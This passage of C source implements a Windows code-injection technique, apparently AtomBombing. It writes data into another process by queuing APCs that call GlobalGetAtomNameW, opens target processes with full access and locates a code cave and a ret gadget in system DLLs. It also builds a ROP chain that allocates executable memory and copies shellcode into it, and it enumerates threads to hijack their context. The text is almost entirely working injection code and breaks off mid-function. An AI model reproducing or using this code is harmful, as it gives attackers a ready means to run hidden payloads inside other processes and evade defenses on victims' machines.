539 | 540 | eReturn = ESTATUS_SUCCESS; 541 | 542 | lblCleanup: 543 | return eReturn; 544 | } 545 | 546 | ESTATUS main_ApcWriteProcessMemoryNullTerminatedInternal( 547 | HANDLE hThread, 548 | PVOID pvBaseAddress, 549 | PVOID pvBuffer, 550 | DWORD dwBufferSize 551 | ) 552 | { 553 | ESTATUS eReturn = ESTATUS_INVALID; 554 | DWORD dwIndex = 0; 555 | HMODULE hKernel32 = NULL; 556 | PKNORMAL_ROUTINE pfnGlobalGetAtomNameW = NULL; 557 | BOOL bDoesStringContainUnicodeNullTerminator = FALSE; 558 | 559 | 560 | hKernel32 = GetModuleHandle(L"kernel32.dll"); 561 | eReturn = GetFunctionAddressFromDll( 562 | KERNEL32, 563 | GLOBALGETATOMNAMEW, 564 | (PVOID *) &pfnGlobalGetAtomNameW 565 | ); 566 | 567 | eReturn = main_DoesStringContainNullTerminatorW( 568 | pvBuffer, 569 | dwBufferSize, 570 | &bDoesStringContainUnicodeNullTerminator 571 | ); 572 | if (ESTATUS_FAILED(eReturn)) 573 | { 574 | goto lblCleanup; 575 | } 576 | if (FALSE != bDoesStringContainUnicodeNullTerminator) 577 | { 578 | eReturn = ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL; 579 | goto lblCleanup; 580 | } 581 | 582 | for (dwIndex = 0; dwIndex < dwBufferSize; dwIndex += (RTL_MAXIMUM_ATOM_LENGTH)* sizeof(WCHAR)) 583 | { 584 | ATOM tAtom = 0; 585 | CHAR acBuffer[(RTL_MAXIMUM_ATOM_LENGTH + 1) * sizeof(WCHAR)] = { 0 }; 586 | DWORD cbBlockSize = 0; 587 | 588 | if ((dwBufferSize - sizeof(WCHAR)) - dwIndex < (sizeof(acBuffer) - sizeof(WCHAR))) 589 | { 590 | cbBlockSize = ((dwBufferSize - sizeof(WCHAR)) - dwIndex); 591 | } 592 | else 593 | { 594 | cbBlockSize = sizeof(acBuffer) - sizeof(WCHAR); 595 | } 596 | 597 | (VOID)memcpy(acBuffer, (PVOID)((DWORD)pvBuffer + dwIndex), cbBlockSize); 598 | 599 | eReturn = main_AddNullTerminatedAtomAndVerifyW((LPWSTR)acBuffer, &tAtom); 600 | if (ESTATUS_FAILED(eReturn)) 601 | { 602 | goto lblCleanup; 603 | } 604 | 605 | eReturn = main_NtQueueApcThreadWrapperAndKeepAlertable( 606 | hThread, 607 | pfnGlobalGetAtomNameW, 608 | (PVOID)tAtom, 609 | ((PUCHAR)pvBaseAddress) + dwIndex, 610 | (PVOID)(cbBlockSize + sizeof(WCHAR)) 611 | ); 612 | if (ESTATUS_FAILED(eReturn)) 613 | { 614 | goto lblCleanup; 615 | } 616 | } 617 | 618 | eReturn = ESTATUS_SUCCESS; 619 | 620 | lblCleanup: 621 | 622 | return eReturn; 623 | } 624 | 625 | ESTATUS main_IsProcessMemoryEqual( 626 | HANDLE hProcess, 627 | PVOID pvRemoteAddress, 628 | PVOID pvExpectedBuffer, 629 | DWORD cbExpectedBufferSize, 630 | PBOOL pbIsMemoryEqual 631 | ) 632 | { 633 | ESTATUS eReturn = ESTATUS_INVALID; 634 | PVOID pvTempBuffer = NULL; 635 | DWORD dwNumberOfBytesRead = 0; 636 | BOOL bErr = FALSE; 637 | BOOL bIsMemoryEqual = FALSE; 638 | 639 | pvTempBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbExpectedBufferSize); 640 | if (NULL == pvTempBuffer) 641 | { 642 | eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED; 643 | goto lblCleanup; 644 | } 645 | 646 | bErr = ReadProcessMemory( 647 | hProcess, 648 | pvRemoteAddress, 649 | pvTempBuffer, 650 | cbExpectedBufferSize, 651 | &dwNumberOfBytesRead 652 | ); 653 | if (FALSE == bErr) 654 | { 655 | eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED; 656 | printf("ReadProcessMemory error. GLE: %d.", GetLastError()); 657 | goto lblCleanup; 658 | } 659 | 660 | if (dwNumberOfBytesRead != cbExpectedBufferSize) 661 | { 662 | eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH; 663 | goto lblCleanup; 664 | } 665 | 666 | if (0 == memcmp(pvTempBuffer, pvExpectedBuffer, cbExpectedBufferSize)) 667 | { 668 | bIsMemoryEqual = TRUE; 669 | } 670 | 671 | eReturn = ESTATUS_SUCCESS; 672 | *pbIsMemoryEqual = bIsMemoryEqual; 673 | 674 | lblCleanup: 675 | if (NULL != pvTempBuffer) 676 | { 677 | HeapFree(GetProcessHeap(), 0, pvTempBuffer); 678 | pvTempBuffer = NULL; 679 | } 680 | 681 | return eReturn; 682 | 683 | } 684 | 685 | ESTATUS main_ApcWriteProcessMemoryNullTerminated( 686 | HANDLE hProcess, 687 | HANDLE hThread, 688 | PVOID pvBaseAddress, 689 | PVOID pvBuffer, 690 | DWORD dwBufferSize 691 | ) 692 | { 693 | ESTATUS eReturn = ESTATUS_INVALID; 694 | BOOL bShouldStop = FALSE; 695 | 696 | do 697 | { 698 | eReturn = main_ApcWriteProcessMemoryNullTerminatedInternal( 699 | hThread, 700 | pvBaseAddress, 701 | pvBuffer, 702 | dwBufferSize 703 | ); 704 | if (ESTATUS_FAILED(eReturn)) 705 | { 706 | goto lblCleanup; 707 | } 708 | 709 | Sleep(100); 710 | 711 | eReturn = main_IsProcessMemoryEqual( 712 | hProcess, 713 | pvBaseAddress, 714 | pvBuffer, 715 | dwBufferSize, 716 | &bShouldStop 717 | ); 718 | if (ESTATUS_FAILED(eReturn)) 719 | { 720 | goto lblCleanup; 721 | } 722 | 723 | if (FALSE == bShouldStop) 724 | { 725 | printf("[*] Data chunk written incorrectly, retrying...\n\n\n"); 726 | } 727 | 728 | } while (FALSE == bShouldStop); 729 | 730 | eReturn = ESTATUS_SUCCESS; 731 | 732 | lblCleanup: 733 | return eReturn; 734 | } 735 | 736 | ESTATUS main_ApcWriteProcessMemoryInternal( 737 | HANDLE hProcess, 738 | HANDLE hThread, 739 | PVOID pvBaseAddress, 740 | PVOID pvBuffer, 741 | DWORD dwBufferSize 742 | ) 743 | { 744 | PWCHAR pwcPos = NULL; 745 | ESTATUS eReturn = ESTATUS_INVALID; 746 | PVOID pvTempBuffer = NULL; 747 | PVOID pvLocalBufferPointer = pvBuffer; 748 | PVOID pvRemoteBufferPointer = pvBaseAddress; 749 | DWORD dwBytesWritten = 0; 750 | 751 | while (pvLocalBufferPointer < (PUCHAR)pvBuffer + dwBufferSize) 752 | { 753 | DWORD cbTempBufferSize = 0; 754 | 755 | pwcPos = (PWCHAR)pvLocalBufferPointer + wcsnlen_s( 756 | (LPWSTR)pvLocalBufferPointer, 757 | (dwBufferSize - dwBytesWritten) / sizeof(WCHAR) 758 | ); 759 | if (0 == pwcPos) 760 | { 761 | goto lblCleanup; 762 | } 763 | if (pvLocalBufferPointer == pwcPos) 764 | { 765 | pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + sizeof(UNICODE_NULL); 766 | pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + sizeof(UNICODE_NULL); 767 | dwBytesWritten += sizeof(UNICODE_NULL); 768 | continue; 769 | } 770 | 771 | cbTempBufferSize = (PUCHAR)pwcPos - (PUCHAR)pvLocalBufferPointer; 772 | 773 | pvTempBuffer = HeapAlloc( 774 | GetProcessHeap(), 775 | HEAP_ZERO_MEMORY, 776 | cbTempBufferSize + sizeof(UNICODE_NULL) 777 | ); 778 | if (NULL == pvTempBuffer) 779 | { 780 | goto lblCleanup; 781 | } 782 | 783 | memcpy(pvTempBuffer, pvLocalBufferPointer, cbTempBufferSize); 784 | 785 | eReturn = main_ApcWriteProcessMemoryNullTerminated( 786 | hProcess, 787 | hThread, 788 | pvRemoteBufferPointer, 789 | pvTempBuffer, 790 | cbTempBufferSize + sizeof(UNICODE_NULL) 791 | ); 792 | if (ESTATUS_FAILED(eReturn)) 793 | { 794 | goto lblCleanup; 795 | } 796 | pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + cbTempBufferSize; 797 | pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + cbTempBufferSize; 798 | dwBytesWritten += cbTempBufferSize; 799 | 800 | if (NULL != pvTempBuffer) 801 | { 802 | HeapFree(GetProcessHeap(), 0, pvTempBuffer); 803 | pvTempBuffer = NULL; 804 | 805 | } 806 | } 807 | 808 | eReturn = ESTATUS_SUCCESS; 809 | 810 | lblCleanup: 811 | if (NULL != pvTempBuffer) 812 | { 813 | HeapFree(GetProcessHeap(), 0, pvTempBuffer); 814 | pvTempBuffer = NULL; 815 | } 816 | 817 | return eReturn; 818 | 819 | 820 | } 821 | 822 | ESTATUS main_ApcWriteProcessMemory( 823 | HANDLE hProcess, 824 | HANDLE hThread, 825 | PVOID pvBaseAddress, 826 | PVOID pvBuffer, 827 | DWORD dwBufferSize 828 | ) 829 | { 830 | ESTATUS eReturn = ESTATUS_INVALID; 831 | BOOL bShouldStop = FALSE; 832 | 833 | do 834 | { 835 | eReturn = main_ApcWriteProcessMemoryInternal( 836 | hProcess, 837 | hThread, 838 | pvBaseAddress, 839 | pvBuffer, 840 | dwBufferSize 841 | ); 842 | if (ESTATUS_FAILED(eReturn)) 843 | { 844 | goto lblCleanup; 845 | } 846 | 847 | Sleep(100); 848 | 849 | eReturn = main_IsProcessMemoryEqual( 850 | hProcess, 851 | pvBaseAddress, 852 | pvBuffer, 853 | dwBufferSize, 854 | &bShouldStop 855 | ); 856 | if (ESTATUS_FAILED(eReturn)) 857 | { 858 | goto lblCleanup; 859 | } 860 | 861 | if (bShouldStop) 862 | { 863 | printf("[*] New verification: Data chunk written successfully.\n\n\n"); 864 | break; 865 | } 866 | 867 | printf("[*] New Verification: Data written incorrectly, retrying...\n\n\n"); 868 | 869 | } while (TRUE); 870 | 871 | eReturn = ESTATUS_SUCCESS; 872 | 873 | lblCleanup: 874 | return eReturn; 875 | } 876 | 877 | ESTATUS main_ApcSetThreadContext( 878 | HANDLE hProcess, 879 | HANDLE hThread, 880 | PCONTEXT ptContext, 881 | PVOID pvRemoteAddress 882 | ) 883 | { 884 | ESTATUS eReturn = ESTATUS_INVALID; 885 | 886 | eReturn = main_ApcWriteProcessMemory( 887 | hProcess, 888 | hThread, 889 | (PVOID)((PUCHAR)pvRemoteAddress), 890 | ptContext, 891 | FIELD_OFFSET(CONTEXT, ExtendedRegisters) 892 | ); 893 | if (ESTATUS_FAILED(eReturn)) 894 | { 895 | goto lblCleanup; 896 | } 897 | 898 | eReturn = main_ApcSetThreadContextInternal(hThread, (PCONTEXT)((PUCHAR)pvRemoteAddress)); 899 | if (ESTATUS_FAILED(eReturn)) 900 | { 901 | goto lblCleanup; 902 | } 903 | 904 | eReturn = ESTATUS_SUCCESS; 905 | 906 | lblCleanup: 907 | return eReturn; 908 | 909 | } 910 | 911 | ESTATUS main_ApcCopyFunctionPointers( 912 | HANDLE hProcess, 913 | HANDLE hThread, 914 | PVOID pvRemoteAddress 915 | ) 916 | { 917 | ESTATUS eReturn = ESTATUS_INVALID; 918 | FUNCTIONPOINTERS tFunctionPointers = { 0 }; 919 | 920 | eReturn = GetFunctionAddressFromDll( 921 | KERNEL32, 922 | LOADLIBRARYA, 923 | &tFunctionPointers.pfnLoadLibraryA 924 | ); 925 | if (ESTATUS_FAILED(eReturn)) 926 | { 927 | goto lblCleanup; 928 | } 929 | 930 | eReturn = GetFunctionAddressFromDll( 931 | KERNEL32, 932 | GETPROCADDRESS, 933 | &tFunctionPointers.pfnGetProcAddress 934 | ); 935 | if (ESTATUS_FAILED(eReturn)) 936 | { 937 | goto lblCleanup; 938 | } 939 | 940 | eReturn = main_ApcWriteProcessMemory( 941 | hProcess, 942 | hThread, 943 | pvRemoteAddress, 944 | &tFunctionPointers, 945 | sizeof(tFunctionPointers) 946 | ); 947 | if (ESTATUS_FAILED(eReturn)) 948 | { 949 | goto lblCleanup; 950 | } 951 | 952 | eReturn = ESTATUS_SUCCESS; 953 | 954 | lblCleanup: 955 | return eReturn; 956 | 957 | } 958 | 959 | ESTATUS main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId) 960 | { 961 | DWORD dwProcessId = 0; 962 | HANDLE hSnapshot = NULL; 963 | PROCESSENTRY32 pe = { 0 }; 964 | ESTATUS eReturn = ESTATUS_INVALID; 965 | 966 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 967 | if (NULL == hSnapshot) 968 | { 969 | eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR; 970 | printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError()); 971 | goto lblCleanup; 972 | } 973 | 974 | pe.dwSize = sizeof(PROCESSENTRY32); 975 | if (FALSE == Process32First(hSnapshot, &pe)) 976 | { 977 | eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR; 978 | printf("Process32First error. GLE: %d.", GetLastError()); 979 | goto lblCleanup; 980 | } 981 | 982 | do 983 | { 984 | if (NULL != wcsstr(pe.szExeFile, pszProcessName)) 985 | { 986 | dwProcessId = pe.th32ProcessID; 987 | break; 988 | } 989 | } while (Process32Next(hSnapshot, &pe)); 990 | 991 | if (0 == dwProcessId) 992 | { 993 | printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName); 994 | eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND; 995 | goto lblCleanup; 996 | } 997 | 998 | printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId); 999 | *pdwProcessId = dwProcessId; 1000 | eReturn = ESTATUS_SUCCESS; 1001 | 1002 | lblCleanup: 1003 | if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot)) 1004 | { 1005 | CloseHandle(hSnapshot); 1006 | hSnapshot = NULL; 1007 | } 1008 | return eReturn; 1009 | 1010 | } 1011 | 1012 | ESTATUS main_OpenProcessByName(LPWSTR pszProcessName, PHANDLE phProcess) 1013 | { 1014 | HANDLE hProcess = NULL; 1015 | ESTATUS eReturn = ESTATUS_INVALID; 1016 | DWORD dwPid = 0; 1017 | 1018 | eReturn = main_GetProcessIdByName(pszProcessName, &dwPid); 1019 | if (ESTATUS_FAILED(eReturn)) 1020 | { 1021 | goto lblCleanup; 1022 | } 1023 | 1024 | hProcess = OpenProcess( 1025 | PROCESS_ALL_ACCESS, 1026 | FALSE, 1027 | dwPid 1028 | ); 1029 | if (NULL == hProcess) 1030 | { 1031 | eReturn = ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR; 1032 | printf("OpenProcess error. GLE: %d.", GetLastError()); 1033 | goto lblCleanup; 1034 | } 1035 | 1036 | printf("[*] Opened process's handle: %d (0x%X).\n\n\n", hProcess, hProcess); 1037 | *phProcess = hProcess; 1038 | eReturn = ESTATUS_SUCCESS; 1039 | 1040 | lblCleanup: 1041 | 1042 | return eReturn; 1043 | } 1044 | 1045 | ESTATUS main_GetSectionHeader( 1046 | HMODULE hModule, 1047 | PSTR pszSectionName, 1048 | PIMAGE_SECTION_HEADER *pptSectionHeader 1049 | ) 1050 | { 1051 | PIMAGE_DOS_HEADER ptDosHeader = NULL; 1052 | PIMAGE_NT_HEADERS ptNtHeaders = NULL; 1053 | PIMAGE_SECTION_HEADER ptSectionHeader = NULL; 1054 | ESTATUS eReturn = ESTATUS_INVALID; 1055 | BOOL bFound = FALSE; 1056 | 1057 | ptDosHeader = (PIMAGE_DOS_HEADER)hModule; 1058 | if (IMAGE_DOS_SIGNATURE != ptDosHeader->e_magic) 1059 | { 1060 | goto lblCleanup; 1061 | } 1062 | 1063 | ptNtHeaders = (PIMAGE_NT_HEADERS)(((DWORD)ptDosHeader) + (PUCHAR)ptDosHeader->e_lfanew); 1064 | if (FALSE != IsBadReadPtr(ptNtHeaders, sizeof(IMAGE_NT_HEADERS))) 1065 | { 1066 | goto lblCleanup; 1067 | } 1068 | if (IMAGE_NT_SIGNATURE != ptNtHeaders->Signature) 1069 | { 1070 | goto lblCleanup; 1071 | } 1072 | 1073 | ptSectionHeader = IMAGE_FIRST_SECTION(ptNtHeaders); 1074 | 1075 | for (int i = 0; i < ptNtHeaders->FileHeader.NumberOfSections; i++) 1076 | { 1077 | if (0 == strncmp(pszSectionName, (PCHAR)ptSectionHeader->Name, IMAGE_SIZEOF_SHORT_NAME)) 1078 | { 1079 | bFound = TRUE; 1080 | break; 1081 | } 1082 | ptSectionHeader++; 1083 | } 1084 | 1085 | if (FALSE == bFound) 1086 | { 1087 | eReturn = ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND; 1088 | goto lblCleanup; 1089 | } 1090 | 1091 | eReturn = ESTATUS_SUCCESS; 1092 | *pptSectionHeader = ptSectionHeader; 1093 | 1094 | lblCleanup: 1095 | return eReturn; 1096 | } 1097 | 1098 | ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave) 1099 | { 1100 | PIMAGE_SECTION_HEADER ptSectionHeader = NULL; 1101 | PVOID pvCodeCave = NULL; 1102 | ESTATUS eReturn = ESTATUS_INVALID; 1103 | HMODULE hNtDll = NULL; 1104 | 1105 | hNtDll = GetModuleHandleA("kernelbase.dll"); 1106 | if (NULL == hNtDll) 1107 | { 1108 | eReturn = ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED; 1109 | } 1110 | 1111 | eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader); 1112 | if (ESTATUS_FAILED(eReturn)) 1113 | { 1114 | goto lblCleanup; 1115 | } 1116 | 1117 | pvCodeCave = (PVOID) ( 1118 | (DWORD) hNtDll + 1119 | ptSectionHeader->VirtualAddress + 1120 | ptSectionHeader->SizeOfRawData 1121 | ); 1122 | 1123 | eReturn = ESTATUS_SUCCESS; 1124 | *ppvCodeCave = pvCodeCave; 1125 | 1126 | lblCleanup: 1127 | 1128 | return eReturn; 1129 | } 1130 | 1131 | ESTATUS main_FindRetGadget(PVOID *ppvRetGadget) 1132 | { 1133 | PIMAGE_SECTION_HEADER ptSectionHeader = NULL; 1134 | PVOID pvCodeCave = NULL; 1135 | ESTATUS eReturn = ESTATUS_INVALID; 1136 | HMODULE hNtDll = NULL; 1137 | PVOID pvRetGadget = NULL; 1138 | 1139 | hNtDll = GetModuleHandleA(NTDLL); 1140 | if (NULL == hNtDll) 1141 | { 1142 | eReturn = ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED; 1143 | } 1144 | 1145 | eReturn = main_GetSectionHeader(hNtDll, TEXT_SECTION, &ptSectionHeader); 1146 | if (ESTATUS_FAILED(eReturn)) 1147 | { 1148 | goto lblCleanup; 1149 | } 1150 | 1151 | pvRetGadget = memchr( 1152 | hNtDll + ptSectionHeader->VirtualAddress, 1153 | X86_RET, 1154 | ptSectionHeader->SizeOfRawData 1155 | ); 1156 | if (NULL == pvRetGadget) 1157 | { 1158 | eReturn = ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND; 1159 | goto lblCleanup; 1160 | } 1161 | 1162 | eReturn = ESTATUS_SUCCESS; 1163 | *ppvRetGadget = pvRetGadget; 1164 | 1165 | lblCleanup: 1166 | 1167 | return eReturn; 1168 | } 1169 | typedef struct _ROPCHAIN 1170 | { 1171 | // Return address of ntdll!ZwAllocateMemory 1172 | PVOID pvMemcpy; 1173 | 1174 | // Params for ntdll!ZwAllocateMemory 1175 | HANDLE ZwAllocateMemoryhProcess; 1176 | PVOID ZwAllocateMemoryBaseAddress; 1177 | ULONG_PTR ZwAllocateMemoryZeroBits; 1178 | PSIZE_T ZwAllocateMemoryRegionSize; 1179 | ULONG ZwAllocateMemoryAllocationType; 1180 | ULONG ZwAllocateMemoryProtect; 1181 | 1182 | // Return address of ntdll!memcpy 1183 | PVOID pvRetGadget; 1184 | 1185 | // Params for ntdll!memcpy 1186 | PVOID MemcpyDestination; 1187 | PVOID MemcpySource; 1188 | SIZE_T MemcpyLength; 1189 | 1190 | } ROPCHAIN, *PROPCHAIN; 1191 | 1192 | ESTATUS main_BuildROPChain( 1193 | PVOID pvROPLocation, 1194 | PVOID pvShellcodeLocation, 1195 | PROPCHAIN ptRopChain 1196 | ) 1197 | { 1198 | ESTATUS eReturn = ESTATUS_INVALID; 1199 | ROPCHAIN tRopChain = { 0 }; 1200 | 1201 | tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess(); 1202 | 1203 | tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET( 1204 | ROPCHAIN, 1205 | MemcpyDestination 1206 | ); 1207 | tRopChain.ZwAllocateMemoryZeroBits = NULL; 1208 | 1209 | tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET( 1210 | ROPCHAIN, 1211 | MemcpyLength) 1212 | ); 1213 | tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT; 1214 | tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE; 1215 | tRopChain.MemcpyDestination = (PVOID)0x00; 1216 | tRopChain.MemcpySource = pvShellcodeLocation; 1217 | tRopChain.MemcpyLength = sizeof(SHELLCODE); 1218 | 1219 | eReturn = GetFunctionAddressFromDll( 1220 | NTDLL, 1221 | MEMCPY, 1222 | &tRopChain.pvMemcpy 1223 | ); 1224 | if (ESTATUS_FAILED(eReturn)) 1225 | { 1226 | goto lblCleanup; 1227 | } 1228 | 1229 | printf("ntdll!memcpy: 0x%X", tRopChain.pvMemcpy); 1230 | 1231 | // Find a ret instruction in order to finally jump to the 1232 | // newly allocated executable shellcode. 1233 | eReturn = main_FindRetGadget(&tRopChain.pvRetGadget); 1234 | if (ESTATUS_FAILED(eReturn)) 1235 | { 1236 | goto lblCleanup; 1237 | } 1238 | 1239 | eReturn = ESTATUS_SUCCESS; 1240 | *ptRopChain = tRopChain; 1241 | 1242 | lblCleanup: 1243 | 1244 | return eReturn; 1245 | 1246 | } 1247 | 1248 | ESTATUS main_EnumProcessThreadIds( 1249 | HANDLE hProcess, 1250 | PDWORD *ppdwThreadIds, 1251 | PDWORD pcbThreadIdsSize, 1252 | PDWORD pdwNumberOfProcessThreads 1253 | ) 1254 | { 1255 | HANDLE hSnapshot = NULL; 1256 | ESTATUS eReturn = ESTATUS_INVALID; 1257 | THREADENTRY32 tThreadEntry; 1258 | BOOL bErr = FALSE; 1259 | DWORD dwProcessId = 0; 1260 | PDWORD pdwThreadIds = NULL; 1261 | DWORD cbThreadIdsSize = 0; 1262 | DWORD dwNumberOfMatchingThreads = 0; 1263 | 1264 | dwProcessId = GetProcessId(hProcess); 1265 | 1266 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 1267 | if (INVALID_HANDLE_VALUE == hSnapshot) 1268 | { 1269 | goto lblCleanup; 1270 | } 1271 | 1272 | tThreadEntry.dwSize = sizeof(THREADENTRY32); 1273 | bErr = Thread32First(hSnapshot, &tThreadEntry); 1274 | if (FALSE == bErr) 1275 | { 1276 | goto lblCleanup; 1277 | } 1278 | 1279 | do 1280 | { 1281 | if (tThreadEntry.th32OwnerProcessID != dwProcessId) 1282 | { 1283 | continue; 1284 | } 1285 | 1286 | cbThreadIdsSize += sizeof(tThreadEntry.th32ThreadID); 1287 | if (sizeof(tThreadEntry.th32ThreadID) == cbThreadIdsSize) 1288 | { 1289 | 1290 | pdwThreadIds = (PDWORD) HeapAlloc( 1291 | GetProcessHeap(), 1292 | HEAP_ZERO_MEMORY, 1293 | cbThreadIdsSize 1294 | ); 1295 | } 1296 | else 1297 | { 1298 | pdwThreadIds = (PDWORD) HeapReAlloc( 1299 | GetProcessHeap(), 1300 | HEAP_ZERO_MEMORY, 1301 | pdwThreadIds, 1302 | cbThreadIdsSize 1303 | ); 1304 | } 1305 | if (NULL == pdwThreadIds) 1306 | { 1307 | goto lblCleanup; 1308 | } 1309 | 1310 | pdwThreadIds[dwNumberOfMatchingThreads++] = tThreadEntry.th32ThreadID; 1311 | 1312 | } while (bErr = Thread32Next(hSnapshot, &tThreadEntry)); 1313 | 1314 | *ppdwThreadIds = pdwThreadIds; 1315 | *pcbThreadIdsSize = cbThreadIdsSize; 1316 | *pdwNumberOfProcessThreads = dwNumberOfMatchingThreads; 1317 | eReturn = ESTATUS_SUCCESS; 1318 | 1319 | lblCleanup: 1320 | if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot)) 1321 | { 1322 | CloseHandle(hSnapshot); 1323 | hSnapshot = NULL; 1324 | } 1325 | 1326 | if (ESTATUS_FAILED(eReturn)) 1327 | { 1328 | if (NULL != pdwThreadIds) 1329 | { 1330 | HeapFree(GetProcessHeap(), 0, pdwThreadIds); 1331 | pdwThreadIds = NULL; 1332 | } 1333 | } 1334 | 1335 | return eReturn; 1336 | } 1337 | 1338 | VOID main_CloseLocalHandleArray(PHANDLE phHandles, DWORD cbHandleCount) 1339 | { 1340 | for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++) 1341 | { 1342 | if (NULL != phHandles[dwIndex]) 1343 | { 1344 | CloseHandle(phHandles[dwIndex]); 1345 | phHandles[dwIndex] = NULL; 1346 | } 1347 | } 1348 | } 1349 | 1350 | VOID main_CloseRemoteHandleArray( 1351 | HANDLE hProcess, 1352 | PHANDLE phHandles, 1353 | DWORD cbHandleCount 1354 | ) 1355 | { 1356 | for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++) 1357 | { 1358 | HANDLE hTemp = NULL; 1359 | 1360 | if (NULL != phHandles[dwIndex]) 1361 | { 1362 | DuplicateHandle( 1363 | hProcess, 1364 | phHandles[dwIndex], 1365 | GetCurrentProcess(), 1366 | &hTemp, 1367 | 0, 1368 | FALSE, 1369 | DUPLICATE_CLOSE_SOURCE 1370 | ); 1371 | phHandles[dwIndex] = NULL; 1372 | } 1373 | 1374 | if (NULL != hTemp) 1375 | { 1376 | CloseHandle(hTemp); 1377 | hTemp = NULL; 1378 | } 1379 | } 1380 | } 1381 | 1382 | ESTATUS main_EnumProcessThreads( 1383 | HANDLE hProcess, 1384 | PHANDLE *pphProcessThreadsHandles, 1385 | PDWORD pcbProcessThreadsHandlesSize, 1386 | PDWORD pdwNumberOfProcessThreads 1387 | ) 1388 | { 1389 | ESTATUS eReturn = ESTATUS_INVALID; 1390 | PDWORD pdwProcessThreadIds = NULL; 1391 | DWORD cbProcessThreadIdsSize = 0; 1392 | DWORD dwNumberOfProcessThreads = 0; 1393 | PHANDLE phProcessThreadsHandles = NULL; 1394 | 1395 | eReturn = main_EnumProcessThreadIds( 1396 | hProcess, 1397 | &pdwProcessThreadIds, 1398 | &cbProcessThreadIdsSize, 1399 | &dwNumberOfProcessThreads 1400 | ); 1401 | if (ESTATUS_FAILED(eReturn)) 1402 | { 1403 | goto lblCleanup; 1404 | } 1405 | 1406 | cbProcessThreadIdsSize = dwNumberOfProcessThreads * sizeof(HANDLE); 1407 | phProcessThreadsHandles = (PHANDLE) HeapAlloc( 1408 | GetProcessHeap(), 1409 | HEAP_ZERO_MEMORY, 1410 | cbProcessThreadIdsSize 1411 | ); 1412 | if (NULL == phProcessThreadsHandles) 1413 | { 1414 | goto lblCleanup; 1415 | } 1416 | 1417 | for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++) 1418 | { 1419 | DWORD dwThreadId = pdwProcessThreadIds[dwIndex]; 1420 | 1421 | phProcessThreadsHandles[dwIndex] = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId); 1422 | if (NULL == phProcessThreadsHandles[dwIndex]) 1423 | { 1424 | eReturn = ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED; 1425 | goto lblCleanup; 1426 | } 1427 | } 1428 | 1429 | *pphProcessThreadsHandles = phProcessThreadsHandles; 1430 | *pcbProcessThreadsHandlesSize = cbProcessThreadIdsSize; 1431 | *pdwNumberOfProcessThreads = dwNumberOfProcessThreads; 1432 | eReturn = ESTATUS_SUCCESS; 1433 | 1434 | lblCleanup: 1435 | if (NULL != pdwProcessThreadIds) 1436 | { 1437 | HeapFree(GetProcessHeap(), 0, pdwProcessThreadIds); 1438 | pdwProcessThreadIds = NULL; 1439 | } 1440 | if (ESTATUS_FAILED(eReturn)) 1441 | { 1442 | main_CloseLocalHandleArray(phProcessThreadsHandles, dwNumberOfProcessThreads); 1443 | 1444 | if (NULL != phProcessThreadsHandles) 1445 | { 1446 | HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles); 1447 | phProcessThreadsHandles = NULL; 1448 | } 1449 | } 1450 | return eReturn; 1451 | } 1452 | 1453 | ESTATUS main_GetThreadContext( 1454 | HANDLE hThread, 1455 | DWORD dwContextFlags, 1456 | PCONTEXT ptContext 1457 | ) 1458 | { 1459 | ESTATUS eReturn = ESTATUS_INVALID; 1460 | DWORD dwErr = 0; 1461 | BOOL bErr = FALSE; 1462 | CONTEXT tContext = { NULL }; 1463 | 1464 | tContext.ContextFlags = dwContextFlags; 1465 | 1466 | SuspendThread(hThread); 1467 | if (((DWORD)-1) == dwErr) 1468 | { 1469 | eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED; 1470 | goto lblCleanup; 1471 | } 1472 | 1473 | bErr = GetThreadContext(hThread, &tContext); 1474 | if (FALSE == bErr) 1475 | { 1476 | eReturn = 